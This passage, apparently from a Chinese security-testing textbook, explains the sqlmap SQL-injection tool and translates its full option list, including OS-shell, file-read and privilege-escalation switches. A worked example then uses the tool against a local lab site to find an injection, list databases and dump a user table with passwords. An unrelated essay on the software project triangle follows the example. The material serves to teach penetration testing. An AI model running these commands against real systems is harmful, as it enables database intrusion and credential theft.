2.2 SQL Map
SQL Map是一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird,、Sybase和SAP MaxDB。它采用六种独特的SQL注入技术,分别是。
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟
- 语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入,可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
首先需要说明的是,SQL Map是基于Python2.X进行编写的,所以使用SQL Map必须切换到Python2.X环境下,可以参考本书4.3.6章节的“扩展阅读:一台机器上同时支持Python 2.X系列和3.X系列”。本书介绍的SQL Map版本为1.2.9.30#dev
打开命令行编辑工具,进入到SQL Map所在的目录,通过命令。
\sqlmap目录>sqlmap.py [参数] [可能存在SQL注入的URL地址]
使用SQL Map工具。SQL Map的参数见2。
2 SQLMap的参数
设置 |
解释 |
Options(选项) |
|
-h, --help :显示此帮助消息并退出 -hh:显示更加详细的帮助信息并退出 --version:显示程序的版本号并退出 -v VERBOSE:详细级别:0-6(默认为1) |
|
Target(目标) |
以下至少需要设置其中一个选项,设置目标URL。 |
-d DIRECT:直接连接到数据库。 -u URL, --url=URL:目标URL。 -l LOGFILE:解析目标、从Burp或WebScarab代理日志文件。 -x SITEMAPURL:解析目标从远程站点地图文件(.xml)。 -m BULKFILE:扫描文本文件中给出的多个目标。 -r REQUESTFILE:从文件加载HTTP请求。 -g GOOGLEDORK:处理Google dork的结果作为目标URL。 -c CONFIGFILE:从INI配置文件中加载选项。 |
|
Request(请求) |
这些选项可以用来指定如何连接到目标URL。 |
--method=METHOD:强制使用给定的HTTP方法(e.g. PUT)。 --data=DATA:通过POST发送的数据字符串。 --param-del=PARA:用于拆分参数值的字符。 --cookie=COOKIE:HTTP Cookie头的值。 --cookie-del=COOKIE :用于分割Cookie值的字符。 --load-cookies=L.. :包含Netscape / WGET格式的cookie的文件。 --drop-set-cookie:从响应中忽略Set-Cookie头。 --user-agent=AGENT:指定 HTTP User - Agent头。 --random-agent:使用随机选定的HTTP User - Agent头。 --host=HOST:HTTP主机头值。 --referer=REFERER :指定 HTTP Referer头。 -H HEADER, --hea.. :额外header,比如:(e.g. "X-Forwarded-For: 127.0.0.1")。 --headers=HEADERS:额外header,比如:(e.g. "Accept-Language: fr\nETag: 123")。 --auth-type=AUTH.. :HTTP认证类型(Basic, Digest, NTLM or PKI)。 --auth-cred=AUTH..: HTTP认证凭证(name:password)。 --auth-file=AUTH.. :HTTP认证 PEM认证/私钥文件。 --ignore-401:忽略HTTP错误401(未经授权)。 --proxy=PROXY:使用代理连接到目标网址。 --proxy-cred=PRO..:代理认证证书(name:password) 。 --proxy-file=PRO..:从文件中加载代理列表。 --ignore-proxy:忽略系统默认代理设置。 --tor:使用Tor匿名网络。 --tor-port=TORPORT:设置Tor代理端口而不是默认值。 --tor-type=TORTYPE:设置Tor代理类型。 --check-tor:检查Tor是否正确使用。 --delay=DELAY:每个HTTP请求之间的延迟(秒) --timeout=TIMEOUT:超时连接前等待(秒,默认30秒)。 --retries=RETRIES:连接超时重试次数(默认值3)。 --randomize=RPARAM:随机更改给定参数的值。 --safe-url=SAFEURL:在测试期间频繁访问的URL地址。 --safe-post=SAFE..:POST数据发送到安全URL。 --safe-req=SAFER.. :从文件中加载安全HTTP请求。 --safe-freq=SAFE..:在两次访问给定安全网址之间测试请求。 --skip-urlencode:忽略有效载荷数据的URL编码。 --csrf-token=CSR.. :参数用于保存anti-CSRF令牌。 --csrf-url=CSRFURL :提取anti-CSRF URL地址访问令牌。 --force-ssl:强制使用SSL / HTTPS。 --hpp:使用HTTP参数pollution的方法。 --eval=EVALCODE: (e.g. 评估请求之前提供Python代码 "import hashlib;id2=hashlib.md5(id).hexdigest()") 。 |
|
Optimization(优化) |
这些选项可用于优化SQL Map的性能。 |
-o :开启所有优化开关。 --predict-output:预测常见的查询输出。 --keep-alive:使用持久的HTTP(S)连接。 --null-connection:从没有实际的HTTP响应体中检索页面长度。 --threads=THREADS:最大的HTTP(S)请求并发量(默认为1)。 |
|
Injection(注入) |
这些选项可以用来指定测试哪些参数,提供自定义的注入payloads和可选篡改脚本。 |
-p TESTPARAMETER:可测试的参数。 --skip=SKIP:忽略对给定参数的测试。 --skip-static:忽略测试不显示为动态的参数。 --param-exclude=.. :使用正则表达式排除参数进行测试(e.g. "ses")。 --dbms=DBMS :强制后端的DBMS为此值。 --dbms-cred=DBMS.. : DBMS认证凭证(user:password) 。 --os=OS:强制后端的DBMS操作系统为这个值。 --invalid-bignum:使用大数字使值无效。 --invalid-logical:使用逻辑操作使值无效。 --invalid-string:使用随机字符串使值无效。 --no-cast:关闭有效Payload铸造机制 --no-escape:关闭字符串转义机制。 --prefix=PREFIX:注入Payload字符串前缀。 --suffix=SUFFIX:注入Payload字符串后缀。 --tamper=TAMPER:使用给定的脚本篡改注入数据。 |
|
Detection(检测) |
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。 |
--level=LEVEL:执行测试的等级(1-5,默认为1)。 --risk=RISK:执行测试的风险(0-3,默认为1)。 --string=STRING:查询时有效时在页面匹配字符串。 --not-string=NOT..:当查询求值为无效时匹配的字符串。 --regexp=REGEXP:查询时有效时在页面匹配正则表达式。 --code=CODE:当查询求值为True时匹配的HTTP代码。 --text-only:仅基于在文本内容比较网页。 --titles:仅根据他们的标题进行比较。 |
|
Techniques(技巧) |
这些选项可用于调整具体的SQL注入测试。 |
--technique=TECH:SQL注入技术测试(默认BEUST)。 --time-sec=TIMESEC:DBMS响应的延迟时间(默认为5秒)。 --union-cols=UCOLS :定列范围用于测试UNION查询注入。 --union-char=UCHAR:用于暴力猜解列数的字符。 --union-from=UFROM:要在UNION查询SQL注入的FROM部分使用的表。 --dns-domain=DNS.. :域名用于DNS漏出攻击。 --second-order=S.. :生成页面的URL搜索为second-order响应。 |
|
Fingerprint(指纹) |
|
-f, --fingerprint:执行检查广泛的DBMS版本指纹。 |
|
Enumeration(枚举) |
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。 |
-a, --all:检索所有内容 -b, --banner:检索数据库管理系统的标识。 --current-user:检索数据库管理系统的当前用户。 --current-db:检索数据库管理系统当前数据库。 --hostname:检索数据库服务器的主机名。 --is-dba :检测数据库管理系统当前用户是否DBA。 --users:枚举数据库管理系统用户。 --passwords:枚举数据库管理系统用户密码哈希值。 --privileges:枚举数据库管理系统用户的权限。 --roles:枚举数据库管理系统用户的角色。 --dbs:枚举数据库管理系统数据库。 --tables:枚举的数据库管理系统数据库中的表。 --columns:枚举数据库管理系统数据库表列。 --schema:枚举数据库架构。 --count:检索表的条目数。 --dump:转储数据库管理系统的数据库中的表项。 --dump-all:转储数据库管理系统的数据库中的表项。 --search:搜索列,表和/或数据库名称。 --comments:检索数据库的comments(注释、评论)。 -D DB:要进行枚举的数据库名。 -T TBL:要进行枚举的数据库表。 -C COL:要进行枚举的数据库列。 -X EXCLUDECOL:要不进行枚举的数据库列。 -U USER:用来进行枚举的数据库用户。 --exclude-sysdbs:枚举表时排除系统数据库。 --pivot-column=P.. :主列名称。 --where=DUMPWHERE:使用WHERE条件进行表转储。 --start=LIMITSTART:第一个查询输出进入检索。 --stop=LIMITSTOP:最后查询的输出进入检索。 --first=FIRSTCHAR:第一个查询输出字的字符检索。 --last=LASTCHAR:最后查询的输出字字符检索。 --sql-query=QUERY:要执行的SQL语句。 --sql-shell:提示交互式SQL的shell。 --sql-file=SQLFILE:从给定文件执行SQL语句。 |
|
Brute force(蛮力) |
这些选项可以被用来运行蛮力检查。 |
--common-tables:检查存在共同表。 --common-columns:检查存在共同列。 |
|
Operating system access(操作系统访问) |
这些选项可以用于访问后端数据库管理系统的底层操作系统。 |
--os-cmd=OSCMD:执行操作系统命令。 --os-shell:交互式的操作系统的shell。 --os-pwn:获取一个OOB shell,meterpreter或VNC。 --os-smbrelay:一键获取一个OOB shell,meterpreter或VNC。 --os-bof:存储过程缓冲区溢出利用。 --priv-esc:数据库进程用户权限提升。 --msf-path=MSFPATH Metasploit Framework:本地的安装路径。 --tmp-path=TMPPATH:远程临时文件目录的绝对路径。 |
|
File system access(访问文件系统) |
这些选项可以被用来访问后端数据库管理系统的底层文件系统。 |
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件 --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径 |
|
User-defined function injection(用户自定义函数注入) |
这些选项可以用来创建用户自定义函数。 |
--udf-inject:注入用户自定义函数。 --shared-lib=SHLIB:共享库的本地路径。 |
|
Windows注册表访问 |
这些选项可以被用来访问后端数据库管理系统Windows注册表。 |
--reg-read:读一个Windows注册表项值。 --reg-add:写一个Windows注册表项值。 --reg-del:删除Windows注册表键值。 --reg-key=REGKEY:Windows注册表键。 --reg-value=REGVAL:Windows注册表项值。 --reg-data=REGDATA:Windows注册表键值数据。 --reg-type=REGTYPE:Windows注册表项值类型。 |
|
General(一般) |
这些选项可以用来设置一些一般的工作参数。 |
-s SESSIONFILE:保存和恢复检索会话文件的所有数据。 -t TRAFFICFILE:记录所有HTTP流量到一个文本文件中。 --batch:从不询问用户输入,使用所有默认配置。 --binary-fields=.. :具有二进制值的结果字段。 --charset=CHARSET:强制用于数据检索的字符编码。 --crawl=CRAWLDEPTH :从目标网址开始抓取网站。 --crawl-exclude=..:正则表达式排除网页抓取(e.g. "logout")。 --csv-del=CSVDEL :分隔CSV输出中使用的字符(默认 ",") 。 --dump-format=DU..:转储数据的格式(CSV(默认)、HTML 或者 SQLITE)。 --eta:表示每个输出的预计到达时间。 --flush-session:刷新当前目标的会话文件。 --forms:在目标网址上解析和测试表单。 --fresh-queries:忽略在会话文件中存储的查询结果。 --hex:使用数据库管理系统哈希函数进行数据检索。 --output-dir=OUT.. :自定义输出目录路径。 --parse-errors:解析和显示响应中的数据库管理系统错误消息。 --save=SAVECONFIG:保存选项到INI配置文件。 --scope=SCOPE:使用正则表达式从提供的代理日志中过滤目标。 --test-filter=TE..:根据有效负载和/或标题(e.g. ROW)选择测试。 --test-skip=TEST..:根据有效负载和/或标题忽略测试(e.g. BENCHMARK)。 --update:更新SQLMap。 |
|
Miscellaneous(杂项) |
|
-z MNEMONICS:使用简短的助记符。 --alert=ALERT:在找到SQL注入时运行主机操作系统命令。 --answers=ANSWERS:设置问题答案(e.g. "quit=N,follow=N") 。 --beep:发现SQL注入时提醒。 --cleanup :SqlMap具体的UDF和表清理DBMS。 --dependencies:检查是否缺少(非内核)SQLMap依赖关系。 --disable-coloring:禁用控制台输出颜色。 --gpage=GOOGLEPAGE:使用Google dork结果指定页码。 --identify-waf:对WAF / IPS / IDS保护进行全面测试。 --skip-waf:跳过启发式检测WAF / IPS / IDS保护。 --mobile:通过HTTP User-Agent标头模仿智能手机。 --offline:在离线模式下工作(仅使用会话数据)。 --page-rank:Google dork结果显示网页排名(PR)。 --purge-output:安全地从输出目录中删除所有内容。 --smart :只有在正启发式时才进行彻底测试。 --sqlmap-shell:提示交互式sqlmap shell。 --wizard:给初级用户的简单向导界面。 |
案例5:SQL注入的攻陷六步法
现在来看一个存在SQL注入的URL如何获得数据库内相关内容的。
1. 查看是否存在SQL注入。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" … [15:40:40] [INFO] resuming back-end DBMS 'mysql’ … Type:UNION query Title:Generic UNION query (NULL) - 3 columns Payload:id=3 UNION ALL SELECTNULL,NULL,CONCAT(0x7162627171,0x4a7448706e6d61795679447864784676736e6f4f487269774f506f6a43526e654f76737352585a6c,0x716a786a71)--TJrx --- [15:40:40] [INFO] the back-end DBMS is MySQL web application technology: JSP back-end DBMS: MySQL >= 5.0 [15:40:40] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1' [*] shutting down at 15:40:40
从上面结果可以获知,SQL Map已经得到数据库为MySQL,版本大于5.0,且后台是JSP语言。所以这个URL存在SQL注入。
2. 查看所有数据库。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --dbs cweb application technology: JSP back-end DBMS: MySQL >= 5.0 available databases [6]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] sec [*] test …
从上面结果可以获知当前数据库中存在information_schema、MySQL、performance_schema、phpmyadmin、sec和test六个数据库。
3. 查看当前数据库。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --current-db … current database: 'sec'
从上面结果可以获知当前数据库为sec。
4. 查看当前数据库下所有的表。
(py2.7work) c:\Python27\sqlmap> sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --table -D "sec" Database: sec [2 tables] +-------+ | user | | paper | +-------+
从上面结果可以获知当前数据库下存在2个表:user和paper。
5. 查看指定表的数据结构。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --columns -T "user" -D"sec" … Database: sec Table: user [3 columns] +----------+-------------+ | Column |Type | +----------+-------------+ | id |int(11) | | name |varchar(20) | | password | varchar(20) | +----------+-------------+
从上面结果可以获知use表中共有id、name、password三个字段以及三个字段的数据类型分别为int(11)、varchar(20)、varchar(20)。
5. 查看指定表的数据结构。
(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --dump –C "name,password" -T"user" -D "sec" … [5 entries] +-------+----------+ | name |password | +-------+----------+ | jerry | 654321 | | cindy | 123456 | … | susan | qwert | | peter | zxcvb | +-------+----------+ [11:51:44] [INFO] table 'sec.`user`' dumped to CSVfile 'C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv' [11:51:44] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1' [*] shutting down at 11:51:44
从上面结果可以获知use表的内容,并且沟通过--dump参数把表内容导入到C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv文件。
星云测试
奇林软件
联合通测
顾翔凡言:
图是软件项目三角形。
图 软件项目三角形
下面做如下假设。
l 假设质量(Q)与范围(S)不变,时间(T)减少的情形下,必须雇佣高水平的人员或者先进的技术,即增大产品的成本(C)。同理,质量(Q)与范围不变,时间(T)增加的情形下,可以减少成本(C)。
l 假设质量(Q)与时间(T)不变,范围(S)增加的情形下,也必须增大成本(C)。同理,质量(Q)与时间(T)不变,范围(S)减少的情形下,可以减少成本(C)。
l 假设质量(Q)与成本(C)不变,时间(T)减少的情形下,范围(S)必须减少。同理,质量(Q)与成本(C)不变,时间(T)增加的情形下,可以加大范围(S)。
于是可以得到如下公式:
Q = TC/S
也就是说质量消耗单位模块的时间和金钱的乘积。从这里可以看出,完成一个功能,需要达到一定的质量,必须消耗有效的时间或者增加产品的成本投入,由此可以看出为了赶进度,盲目加班赶工是不可取的。